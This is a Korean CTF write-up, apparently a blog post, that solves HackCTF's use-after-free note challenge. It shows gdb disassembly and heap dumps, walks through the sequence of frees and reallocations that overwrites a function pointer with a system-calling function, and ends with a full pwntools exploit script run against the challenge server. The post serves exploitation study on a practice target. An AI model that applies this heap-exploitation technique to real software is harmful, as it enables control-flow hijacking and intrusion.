시작
안녕하세요 :D
정말 많은 고민을 했고, 다른 분들의 라이트업을 볼까 말까 엄청 고민했지만 결국엔 풀어낸!! 그런 문제입니다.
힙 영역 문제를 하나하나 풀 수록 점점 재밌어지네요 ㅎㅎ
Use After Free, 시작해보죠!!
Write UP
----------------------
U-A-F
☆★ 종현이와 함께하는★☆
★☆ 엉덩이 공부 ☆★
----------------------
1. 노트 추가
2. 노트 삭제
3. 노트 출력
4. 탈출
----------------------
입력 :
1, 2, 3, 4번 메뉴가 보이고, 입력을 기다립니다.
UAF 기본은 할당한 메모리를 해제하고, 다시 할당한 후 해제한 메모리 참조니깐
대충 1번으로 추가(할당)하고 2번으로 삭제, 1번으로 다시 할당 후 3번으로 참조해주면 될 것 같아요.
.
.
0x08048abb <+99>: call 0x8048540 <atoi@plt>
0x08048ac0 <+104>: add esp,0x10
0x08048ac3 <+107>: cmp eax,0x2
0x08048ac6 <+110>: je 0x8048ae7 <main+143>
0x08048ac8 <+112>: cmp eax,0x2
0x08048acb <+115>: jg 0x8048ad4 <main+124>
0x08048acd <+117>: cmp eax,0x1
0x08048ad0 <+120>: je 0x8048ae0 <main+136>
0x08048ad2 <+122>: jmp 0x8048aff <main+167>
0x08048ad4 <+124>: cmp eax,0x3
0x08048ad7 <+127>: je 0x8048aee <main+150>
0x08048ad9 <+129>: cmp eax,0x4
0x08048adc <+132>: je 0x8048af5 <main+157>
0x08048ade <+134>: jmp 0x8048aff <main+167>
0x08048ae0 <+136>: call 0x8048676 <add_note>
0x08048ae5 <+141>: jmp 0x8048b10 <main+184>
0x08048ae7 <+143>: call 0x8048804 <del_note>
0x08048aec <+148>: jmp 0x8048b10 <main+184>
0x08048aee <+150>: call 0x80488d5 <print_note>
0x08048af3 <+155>: jmp 0x8048b10 <main+184>
0x08048af5 <+157>: sub esp,0xc
0x08048af8 <+160>: push 0x0
0x08048afa <+162>: call 0x8048510 <exit@plt>
0x08048aff <+167>: sub esp,0xc
0x08048b02 <+170>: push 0x8048d08
0x08048b07 <+175>: call 0x80484f0 <puts@plt>
main() 함수입니다.
우리의 입력 값에 따라서 3개의 함수를 호출하는데요.
add_note() 먼저 보겠습니다.
.
.
0x080487fa <+388>: call 0x80484d0 <__stack_chk_fail@plt>
0x080487ff <+393>: mov ebx,DWORD PTR [ebp-0x4]
0x08048802 <+396>: leave
0x08048803 <+397>: ret
End of assembler dump.
깁니다.. 체크하는 부분이 많아서 어셈 코드가 길어진 것 같은데 IDA 헥스레이로 보면 훨씬 간단할 것 같습니다 ㅋㅋ
동적 분석 해보면 대부분 jmp로 왔다갔다 하는 부분이라.. 중요한 곳만 짚고 넘어가요.
0x080486c5 <+79>: sub esp,0xc
0x080486c8 <+82>: push 0x8
0x080486ca <+84>: call 0x80484e0 <malloc@plt>
add_note() 시작하자마자 8 bytes를 할당해줍니다.
0x08048729 <+179>: push 0x8
0x0804872b <+181>: lea eax,[ebp-0x14]
0x0804872e <+184>: push eax
0x0804872f <+185>: push 0x0
0x08048731 <+187>: call 0x8048490 <read@plt>
노트 크기를 입력받는 부분입니다. 추후 atoi() 함수로 값을 읽어와요.
0x0804875b <+229>: push eax
0x0804875c <+230>: call 0x80484e0 <malloc@plt>
atoi()의 eax를 가진 채 할당해줍니다.
정리하자면 2개의 청크를 할당하는 함수에요. malloc(0x8)과 malloc(User_Input)!!
0x9c5a000: 0x00000000 0x00000011 0x0804865b 0x09c5a018
0x9c5a010: 0x00000000 0x00000011 0x61616161 0x61616161
0x9c5a020: 0x00000000 0x00020fe1 0x00000000 0x00000000
사이즈로 8을 주고 내용으로 a * 8을 주었습니다. 그 결과는 위와 같아요.
del_note()도 중요한 부분만 확인할게요.
0x08048882 <+126>: mov eax,DWORD PTR [ebp-0x14]
0x08048885 <+129>: mov eax,DWORD PTR [eax*4+0x804b070]
0x0804888c <+136>: mov eax,DWORD PTR [eax+0x4]
0x0804888f <+139>: sub esp,0xc
0x08048892 <+142>: push eax
0x08048893 <+143>: call 0x80484c0 <free@plt>
0x08048898 <+148>: add esp,0x10
0x0804889b <+151>: mov eax,DWORD PTR [ebp-0x14]
0x0804889e <+154>: mov eax,DWORD PTR [eax*4+0x804b070]
0x080488a5 <+161>: sub esp,0xc
0x080488a8 <+164>: push eax
0x080488a9 <+165>: call 0x80484c0 <free@plt>
별 거 없이 add_note()에서 할당한 두 개의 청크를 해제합니다.
이제 가장 중요한!! print_note() 함수를 보겠습니다.
0x08048953 <+126>: mov eax,DWORD PTR [ebp-0x14]
0x08048956 <+129>: mov eax,DWORD PTR [eax*4+0x804b070]
0x0804895d <+136>: mov eax,DWORD PTR [eax]
0x0804895f <+138>: mov edx,DWORD PTR [ebp-0x14]
0x08048962 <+141>: mov edx,DWORD PTR [edx*4+0x804b070]
0x08048969 <+148>: sub esp,0xc
0x0804896c <+151>: push edx
0x0804896d <+152>: call eax
여기서 취약점이 터집니다. +152 부분에 있는 call eax
에서요.
위에 뭔가 복잡한 연산들이 쭉 있는데,
한 줄씩 따라가 보니깐
1. 우리가 입력한 인덱스를 참고해서
2. 그 인덱스의 add_note()가 시작하자마자 할당한 8 bytes 청크의 데이터 영역의 주소를 가져옵니다.
0x9c5a000: 0x00000000 0x00000011 0x0804865b 0x09c5a018
0x9c5a010: 0x00000000 0x00000011 0x61616161 0x61616161
0x9c5a020: 0x00000000 0x00020fe1 0x00000000 0x00000000
위에 메모리를 다시 끌어왔어요.
인덱스 0을 주면 2번 설명대로 malloc(8)의 data영역, 0x9c5a008을 참조해서 0x804865b를 call하는 겁니다!!
0x804865b는 노트를 출력하는 함수로, 말 그대로 data 영역을 읽어와 출력해요.
gdb-peda$ pd magic
Dump of assembler code for function magic:
0x08048986 <+0>: push ebp
0x08048987 <+1>: mov ebp,esp
0x08048989 <+3>: sub esp,0x8
0x0804898c <+6>: sub esp,0xc
0x0804898f <+9>: push 0x8048c05
0x08048994 <+14>: call 0x8048500 <system@plt>
0x08048999 <+19>: add esp,0x10
0x0804899c <+22>: nop
0x0804899d <+23>: leave
0x0804899e <+24>: ret
End of assembler dump.
저 부분을 여기로 돌리라고 써있네요. 분석은 이 정도로 충분할 것 같아요.
우리는 malloc() 함수의 캐싱 기능, 병합 지연 속성을 이용할 것입니다.
얘는 힙 영역이 해제된 후 같은 사이즈로 다시 할당할 때, 똑같은 주소에 매핑하는 특성이에요.
print_note() 함수가 실행될 때 참조하는 영역이 magic() 함수로 바뀌어있다면 플래그를 딸 수 있을 것 같아요.
자.. 여기서 고민을 참 많이 했습니다. 하루 종일 했어요ㅠㅠ
그 결과입니다.
우선 첫 번째 할당을 해줍니다. 사이즈는 8로 할게요. 내용은 a * 8이구요.
그 다음 두 번째 할당을 해줍니다. 똑같이 사이즈는 8입니다. 내용은 b *8이에요.
0x95d8000: 0x00000000 0x00000011 0x0804865b 0x095d8018
0x95d8010: 0x00000000 0x00000011 0x61616161 0x61616161
0x95d8020: 0x00000000 0x00000011 0x0804865b 0x095d8038
0x95d8030: 0x00000000 0x00000011 0x62626262 0x62626262
0x95d8040: 0x00000000 0x00020fc1 0x00000000 0x00000000
청크가 위와 같이 할당됩니다.
이 상태에서 우리의 타겟인 0x804865b
는 0x95d8008
과 0x95d8028
두 군데에 있네요.
print_note()에서 인덱스 0을 주면 전자를, 1을 주면 후자를 참조할 것입니다.
전자는 건드리기 힘들 것 같아요. 해제를 해주어도 똑같은 위치에 계속 할당이 될 것입니다.
후자를 타겟으로 잡도록 해요.
이제 두 청크를 해제하겠습니다.
----------------------
U-A-F
☆★ 종현이와 함께하는★☆
★☆ 엉덩이 공부 ☆★
----------------------
1. 노트 추가
2. 노트 삭제
3. 노트 출력
4. 탈출
----------------------
입력 :2
Index :1
성공!
----------------------
U-A-F
☆★ 종현이와 함께하는★☆
★☆ 엉덩이 공부 ☆★
----------------------
1. 노트 추가
2. 노트 삭제
3. 노트 출력
4. 탈출
----------------------
입력 :2
Index :0
성공!
----------------------
0x95d8000: 0x00000000 0x00000011 0x095d8010 0x095d8018
0x95d8010: 0x00000000 0x00000011 0x095d8020 0x61616161
0x95d8020: 0x00000000 0x00000011 0x095d8030 0x095d8038
0x95d8030: 0x00000000 0x00000011 0x00000000 0x62626262
0x95d8040: 0x00000000 0x00020fc1 0x00000000 0x00000000
성공적으로 해제되었습니다.
다시 할당을 해볼까요? 이번엔 어떻게 할 거냐면!! 첫 번째 할당에서 사이즈를 크게 줄 거에요!!
8 이상의 사이즈를 준다면 이전에 그 만큼의 사이즈를 할당한 적이 없기 때문에!! 병합 지연 속성이 안먹히죠?
때문에 0x95d8040
이후 영역에 청크가 할당될 것입니다. 사이즈에 16을 줄게요.
0x95d8000: 0x00000000 0x00000011 0x0804865b 0x095d8048
0x95d8010: 0x00000000 0x00000011 0x095d8020 0x61616161
0x95d8020: 0x00000000 0x00000011 0x095d8030 0x095d8038
0x95d8030: 0x00000000 0x00000011 0x00000000 0x62626262
0x95d8040: 0x00000000 0x00000019 0x63636363 0x63636363
0x95d8050: 0x63636363 0x63636363 0x00000000 0x00020fa9
좋습니다 :D
이제 한 번 더 할당을 하겠습니다.
첫 malloc(8)은 캐싱 기능에 따라 0x95d8010
에 들어갈 것이고
두 번째 malloc(User_Input)은 사이즈를 8로 한다면 캐싱 기능에 따라 0x95d8020
에 들어갈 것입니다!!
여기는 바로 해제된 2번 청크(인덱스 1번)가 print_note()할 때 참조하는 영역이죠?
이 부분에 magic()함수의 주소를 넣으면 됩니다. 결과를 보기 위해 일단은 abcdefgh로 내용을 넣겠습니다.
0x95d8000: 0x00000000 0x00000011 0x0804865b 0x095d8048
0x95d8010: 0x00000000 0x00000011 0x0804865b 0x095d8028
0x95d8020: 0x00000000 0x00000011 0x64636261 0x68676665
0x95d8030: 0x00000000 0x00000011 0x00000000 0x62626262
0x95d8040: 0x00000000 0x00000019 0x63636363 0x63636363
0x95d8050: 0x63636363 0x63636363 0x00000000 0x00020fa9
완벽하네요. print_note()를 부르고, 인덱스를 해제된 2번 청크(인덱스 1번)로 주겠습니다.
Stopped reason: SIGSEGV
gdb-peda$ x/wx $eip
0x64636261: Cannot access memory at address 0x64636261
성공입니다!! 이제 익스 코드를 짜볼게요.
from pwn import *
context.log_level = "debug"
p = remote("ctf.j0n9hyun.xyz", 3020)
flag = 0x8048986
p.recvuntil(" :") # Menu
p.sendline("1") # Add note
p.recvuntil(" :") # Size :
p.sendline("8")
p.recvuntil(" :") # Content :
p.send("AAAAAAAA")
p.recvuntil(" :") # Menu
p.sendline("1") # Add note
p.recvuntil(" :") # Size :
p.sendline("8")
p.recvuntil(" :") # Content :
p.send("BBBBBBBB")
p.recvuntil(" :") # Menu
p.sendline("2") # Del note
p.recvuntil(" :") # Index :
p.sendline("1")
p.recvuntil(" :") # Menu
p.sendline("2") # Del note
p.recvuntil(" :") # Index :
p.sendline("0")
p.recvuntil(" :") # Menu
p.sendline("1") # Add note
p.recvuntil(" :") # Size :
p.sendline("16")
p.recvuntil(" :") # Content :
p.send("C" * 16)
p.recvuntil(" :") # Menu
p.sendline("1") # Add note
p.recvuntil(" :") # Size :
p.sendline("8")
p.recvuntil(" :") # Content :
sleep(0.5)
payload = ""
payload += p32(flag)
payload += "DDDD"
p.send(payload)
p.recvuntil(" :") # Menu
p.sendline("3") # Print note
p.recvuntil(" :") # Index :
p.sendline("1")
sleep(0.5)
p.interactive()
[+] Opening connection to ctf.j0n9hyun.xyz on port 3020: Done
[*] Switching to interactive mode
//flag!!
Exploit!!
마무리
말로 설명해도 복잡한 문제인데 글로 적으려니 엄청 빡세네요 ㅋㅋㅋㅋㅋ 시간이 많이 없어서 ㅠㅠ
ㅋㅋㅋㅋ어찌어찌 풀어냈습니다.. 성취감 대박이에요 진짜
힙 영역 건드리지도 못했던 제가 이런 문제까지 풀 수 있게 될 줄은 꿈에도 몰랐어요 ㅎㅎ
감사합니다 :D
'CTF_Write_UP > HackCTF' 카테고리의 다른 글
[HackCTF] SysROP (0) | 2019.10.12 |
---|---|
[HackCTF] Unexploitable #1 (0) | 2019.10.10 |
[HackCTF] Pwning (0) | 2019.09.26 |
[HackCTF] Gift (0) | 2019.09.23 |
[HackCTF] Look at me (0) | 2019.09.23 |